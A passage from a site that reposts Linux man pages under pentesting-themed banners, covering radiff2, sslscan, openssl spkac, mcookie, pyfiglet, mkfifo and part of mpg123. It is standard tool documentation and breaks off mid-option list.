radiff2 [-1abcCdeGhijnropqsSxuUvVzZ] [-A[A]] [-B #] [-g sym] [-m graph_mode][-t %] file file

DESCRIPTION

radiff2 is a tool from the radare2 suite designed for binary diffing code and data.

It supports a wide range of formats and features, including architecture and bits specification, delta diffing, graph diffing, and more.

OPTIONS

-1
Output in Generic binary DIFF (0xd1ffd1ff magic header).

-a [arch]
Specify architecture plugin to use (x86, arm, etc.).

-A [-A]
Run aaa or aaaa after loading each binary (see -C).

-b [bits]
Specify register size for architecture (16 (thumb), 32, 64, etc.).

-B [baddr]
Define the base address to add the offsets when listing.

-c
Count of changes.

-C
Graphdiff code (columns: off-A, match-ratio, off-B) (see -A).

-d
Use delta diffing.

-D
Show disasm instead of hexpairs.

-e [k=v]
Set eval config var value for all RCore instances.

-g [arg]
Graph diff of [sym] or functions in [off1,off2].

-G [cmd]
Run an r2 command on every RCore instance created.

-i [ifscm]
Diff imports | fields | symbols | classes | methods.

-j
Output in JSON format.

-m [mode]
Choose the graph output mode (aditsjJ).

-n
Print bare addresses only (diff.bare=1).

-O
Code diffing with opcode bytes only.

-p
Use physical addressing (io.va=false) (only for radiff2 -AC).

-q
Quiet mode (disable colors, reduce output).

-r
Output in radare commands.

-s
Compute edit distance (no substitution, Eugene W. Myers O(ND) diff algorithm).

-ss
Compute Levenshtein edit distance (substitution is allowed, O(N^2)).

-S [name]
Sort code diff (name, namelen, addr, size, type, dist) (only for -C or -g).

-t [0-100]
Set threshold for code diff (default is 70%).

-T
Analyze files in threads (EXPERIMENTAL, 30% faster and crashy).

-u
Unified output (—+++).

-U
Unified output using system ‘diff’.

-v
Show version information.

-V
Be verbose (current only for -s).

-x
Show two-column hexdump diffing.

-X
Show two-column hexII diffing.

-z
Diff on extracted strings.

-Z
Diff code comparing zignatures.

GRAPH OUTPUT FORMATS (-m [mode])

.
default is ASCII art.

s
r2 commands.

d
Graphviz dot.

g
Graph Modelling Language (gml).

j
JSON.

J
JSON with disarm.

k
sdb key-value.

t
Tiny ascii art.

i
Interactive ascii art.

USAGE EXAMPLES

Comparing two binaries
radiff2 bin1 bin2

Using graph diffing to compare functions by name
radiff2 -g main bin1 bin2

Counting the number of changes between two binaries
radiff2 -c bin1 bin2

Outputting the diff in a unified format
radiff2 -u bin1 bin2

Comparing the opcodes of two functions
radiff2 -O bin1 bin2

‘C’ COMMAND IN R2

The ‘c’ command in r2 is used for various comparison operations within data inside the same file. Here are some examples of its usage:

Compare a plain string with escaped chars
c “string to compare”

Compare byte at a specific address with current offset
c1 0x100

Compare block size bytes from current offset and the 0x100 offset
cc 0x100

Unified diff of disassembly from current seek and given address
cud 0x200 @ 0x100

Compare memory hexdumps in unified diff format
cu 0x100 @ 0x200

For more detailed usage of the ‘c’ command, refer to the `c[?dfx] [argument]` help section.

SEE ALSO

radare2(1)

https://www.radare.org/

AUTHOR

pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1025 - Linux cli command sslscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sslscan and provides detailed information about the command sslscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sslscan.

NAME 🖥️ sslscan 🖥️

Fast SSL/TLS scanner

SYNOPSIS

sslscan [options]* [host:port | host]*

DESCRIPTION

sslscan queries SSL/TLS services (such as HTTPS) and reports the protocol versions, cipher suites, key exchanges, signature algorithms, and certificates in use. This helps the user understand which parameters are weak from a security standpoint.

Terminal output is thus colour-coded as follows:

Red Background NULL cipher (no encryption)
Red Broken cipher (<= 40 bit), broken protocol (SSLv2 or SSLv3) or broken certificate signing algorithm (MD5)
Yellow Weak cipher (<= 56 bit or RC4) or weak certificate signing algorithm (SHA-1)
Purple Anonymous cipher (ADH or AECDH)

sslscan can also output results into an XML file for easy consumption by external programs.

OPTIONS

–help

Show summary of options

–targets=<file>
A file containing a list of hosts to check. Hosts can be supplied with ports (i.e. host:port). One target per line

–sni-name=<name>
Use a different hostname for SNI

–ipv4, -4

Force IPv4 DNS resolution. Default is to try IPv4, and if that fails then fall back to IPv6.

–ipv6, -6

Force IPv6 DNS resolution. Default is to try IPv4, and if that fails then fall back to IPv6.

–show-certificate
Display certificate information.

–show-certificates
Display the full certificate chain.

–no-check-certificate
–no-check-certificate Don’t flag certificates signed with weak algorithms (MD5 and SHA-1) or short (<2048 bit) RSA keys

–show-client-cas
Show a list of CAs that the server allows for client authentication. Will be blank for IIS/Schannel servers.

–show-ciphers
Show a complete list of ciphers supported by sslscan

–show-cipher-ids
Print the hexadecimal cipher IDs

–iana-names
Use IANA/RFC cipher names rather than OpenSSL ones

–show-times
Show the time taken for each handshake in milliseconds. Note that only a single request is made with each cipher, and that the size of the ClientHello is not constant, so this should not be used for proper benchmarking or performance testing.

You might want to also use –no-cipher-details to make the output a bit clearer.

–ssl2

Only check if SSLv2 is enabled

–ssl3

Only check if SSLv3 is enabled

–tls10

Only check TLS 1.0 ciphers

–tls11

Only check TLS 1.1 ciphers

–tls12

Only check TLS 1.2 ciphers

–tls13

Only check TLS 1.3 ciphers

–tlsall

Only check TLS ciphers (versions 1.0, 1.1, 1.2, and 1.3)

–ocsp

Display OCSP status

–pk=<file>
A file containing the private key or a PKCS#12 file containing a private key/certificate pair (as produced by MSIE and Netscape)

–pkpass=<password>
The password for the private key or PKCS#12 file

–certs=<file>
A file containing PEM/ASN1 formatted client certificates

–no-ciphersuites
Do not scan for supported ciphersuites.

–no-fallback
Do not check for TLS Fallback Signaling Cipher Suite Value (fallback)

–no-renegotiation
Do not check for secure TLS renegotiation

–no-compression
Do not check for TLS compression (CRIME)

–no-heartbleed
Do not check for OpenSSL Heartbleed (CVE-2014-0160)

–no-groups
Do not enumerate key exchange groups

–show-sigs
Enumerate signature algorithms

–starttls-ftp
STARTTLS setup for FTP

–starttls-imap
STARTTLS setup for IMAP

–starttls-irc
STARTTLS setup for IRC

–starttls-ldap
STARTTLS setup for LDAP

–starttls-pop3
STARTTLS setup for POP3

–starttls-smtp
STARTTLS setup for SMTP

–starttls-mysql
STARTTLS setup for MySQL

–starttls-xmpp
STARTTLS setup for XMPP

–starttls-psql
STARTTLS setup for PostgreSQL

–xmpp-server
Perform a server-to-server XMPP connection. Try this if –starttls-xmpp is failing.

–rdp

Send RDP preamble before starting scan.

–bugs

Enables workarounds for SSL bugs

–timeout=<sec>

Set socket timeout. Useful for hosts that fail to respond to ciphers they don’t understand. Default is 3s.

–connect-timeout=<sec>

Set initial connection timeout. Useful for hosts that are slow to respond to the initial connect(). Default is 75s.

–sleep=<msec>

Pause between connections. Useful on STARTTLS SMTP services, or anything else that’s performing rate limiting. Default is disabled.

–xml=<file>

Output results to an XML file. - can be used to mean stdout.

–version
Show version of program

–verbose
Display verbose output

–no-cipher-details

Hide NIST EC curve name and EDH/RSA key length.

–no-colour

Disable coloured output.

EXAMPLES

Scan a local HTTPS server

sslscan localhost sslscan 127.0.0.1 sslscan 127.0.0.1:443 sslscan [::1] sslscan [::1]:443

AUTHOR

sslscan was originally written by Ian Ventura-Whiting <[email protected]>.
sslscan was extended by Jacob Appelbaum <[email protected]>.
sslscan was extended by rbsec <[email protected]>.
This manual page was originally written by Marvin Stark <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1026 - Linux cli command openssl-spkacssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-spkacssl and provides detailed information about the command openssl-spkacssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-spkacssl.

NAME 🖥️ openssl-spkacssl 🖥️

spkac - SPKAC printing and generating command

SYNOPSIS

openssl spkac [-help] [-in filename] [-out filename] [-digest digest] [-key filename|uri] [-keyform DER|PEM|P12|ENGINE] [-passin arg] [-challenge string] [-pubkey] [-spkac spkacname] [-spksect section] [-noout] [-verify] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command processes Netscape signed public key and challenge (SPKAC) files. It can print out their contents, verify the signature and produce its own SPKACs from a supplied private key.

OPTIONS

-help
Print out a usage message.

-in filename
This specifies the input filename to read from or standard input if this option is not specified. Ignored if the -key option is used.

-out filename
Specifies the output filename to write to or standard output by default.

-digest digest
Use the specified digest to sign a created SPKAC file. The default digest algorithm is MD5.

-key filename|uri
Create an SPKAC file using the private key specified by filename or uri. The -in, -noout, -spksect and -verify options are ignored if present.

-keyform DER|PEM|P12|ENGINE
The key format; unspecified by default. See openssl-format-options (1) for details.

-passin arg
The input file password source. For more information about the format of arg see openssl-passphrase-options (1).

-challenge string
Specifies the challenge string if an SPKAC is being created.

-spkac spkacname
Allows an alternative name form the variable containing the SPKAC. The default is “SPKAC”. This option affects both generated and input SPKAC files.

-spksect section
Allows an alternative name form the section containing the SPKAC. The default is the default section.

-noout
Don’t output the text version of the SPKAC (not used if an SPKAC is being created).

-pubkey
Output the public key of an SPKAC (not used if an SPKAC is being created).

-verify
Verifies the digital signature on the supplied SPKAC.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

Print out the contents of an SPKAC:

openssl spkac -in spkac.cnf

Verify the signature of an SPKAC:

openssl spkac -in spkac.cnf -noout -verify

Create an SPKAC using the challenge string “hello”:

openssl spkac -key key.pem -challenge hello -out spkac.cnf

Example of an SPKAC, (long lines split up for clarity):

SPKAC=MIG5MGUwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA\ 1cCoq2Wa3Ixs47uI7FPVwHVIPDx5yso105Y6zpozam135a\ 8R0CpoRvkkigIyXfcCjiVi5oWk+6FfPaD03uPFoQIDAQAB\ FgVoZWxsbzANBgkqhkiG9w0BAQQFAANBAFpQtY/FojdwkJ\ h1bEIYuc2EeM2KHTWPEepWYeawvHD0gQ3DngSC75YCWnnD\ dq+NQ3F+X4deMx9AaEglZtULwV4=

NOTES

A created SPKAC with suitable DN components appended can be fed to openssl-ca (1).

SPKACs are typically generated by Netscape when a form is submitted containing the KEYGEN tag as part of the certificate enrollment process.

The challenge string permits a primitive form of proof of possession of private key. By checking the SPKAC signature and a random challenge string some guarantee is given that the user knows the private key corresponding to the public key being certified. This is important in some applications. Without this it is possible for a previous SPKAC to be used in a “replay attack”.

SEE ALSO

openssl (1), openssl-ca (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

The -digest option was added in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1027 - Linux cli command mcookie

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mcookie and provides detailed information about the command mcookie, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mcookie.

NAME 🖥️ mcookie 🖥️

generate magic cookies for xauth

SYNOPSIS

mcookie [options]

DESCRIPTION

mcookie generates a 128-bit random hexadecimal number for use with the X authority system. Typical usage:

xauth add :0 . mcookie

The “random” number generated is actually the MD5 message digest of random information coming from one of the sources getrandom(2) system call, /dev/urandom, /dev/random, or the libc pseudo-random functions, in this preference order. See also the option –file.

OPTIONS

-f, –file file

Use this fileas an additional source of randomness (for example/dev/urandom). When file is -, characters are read from standard input.

-m, –max-size number

Read from fileonly thisnumber of bytes. This option is meant to be used when reading additional randomness from a file or device.

The number argument may be followed by the multiplicative suffixes KiB=1024, MiB=1024*1024, and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the "iB" is optional, e.g., "K" has the same meaning as "KiB") or the suffixes KB=1000, MB=1000*1000, and so on for GB, TB, PB, EB, ZB and YB.

-v, –verbose

Inform where randomness originated, with amount of entropy read from each source.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

FILES

/dev/urandom

/dev/random

BUGS

It is assumed that none of the randomness sources will block.

SEE ALSO

md5sum(1), X(7), xauth(1), rand(3)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The mcookiecommand is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1028 - Linux cli command pyfiglet

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyfiglet and provides detailed information about the command pyfiglet, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyfiglet.

NAME 🖥️ pyfiglet 🖥️

display text in large ASCII art fonts.

SYNOPSIS

pyfiglet.py [options] text

DESCRIPTION

pyFIGlet is a program that creates large characters out of ordinary screen characters. It takes ASCII text (text) and renders it in ASCII art fonts.

This version of pyfiglet supports FIGlet fonts .flf and the FIGlet-compatible toilet-fonts .tlf.

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-f FONT, –font=FONT
font to render with (default: future)

-D DIRECTION, –direction=DIRECTION
set direction text will be formatted in (default: auto)

-j SIDE, –justify=SIDE
set justification, defaults to print direction

-w COLS, –width=COLS
set terminal width for wrapping/justification (default: 80)

-r, –reverse
shows mirror image of output text

-F, –flip
flips rendered output text over

SEE ALSO

toilet(1), figlet(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1029 - Linux cli command mkfifo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkfifo and provides detailed information about the command mkfifo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkfifo.

NAME 🖥️ mkfifo 🖥️

make FIFOs (named pipes)

SYNOPSIS

mkfifo [OPTION]… NAME

DESCRIPTION

Create named pipes (FIFOs) with the given NAMEs.

Mandatory arguments to long options are mandatory for short options too.

-m, –mode=MODE
set file permission bits to MODE, not a=rw - umask

-Z
set the SELinux security context to default type

–context[=CTX]
like -Z, or if CTX is specified then set the SELinux or SMACK security context to CTX

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

mkfifo(3)

Full documentation <https://www.gnu.org/software/coreutils/mkfifo>
or available locally via: info ‘(coreutils) mkfifo invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1030 - Linux cli command mpg123-openal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-openal and provides detailed information about the command mpg123-openal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-openal.

NAME 🖥️ mpg123-openal 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
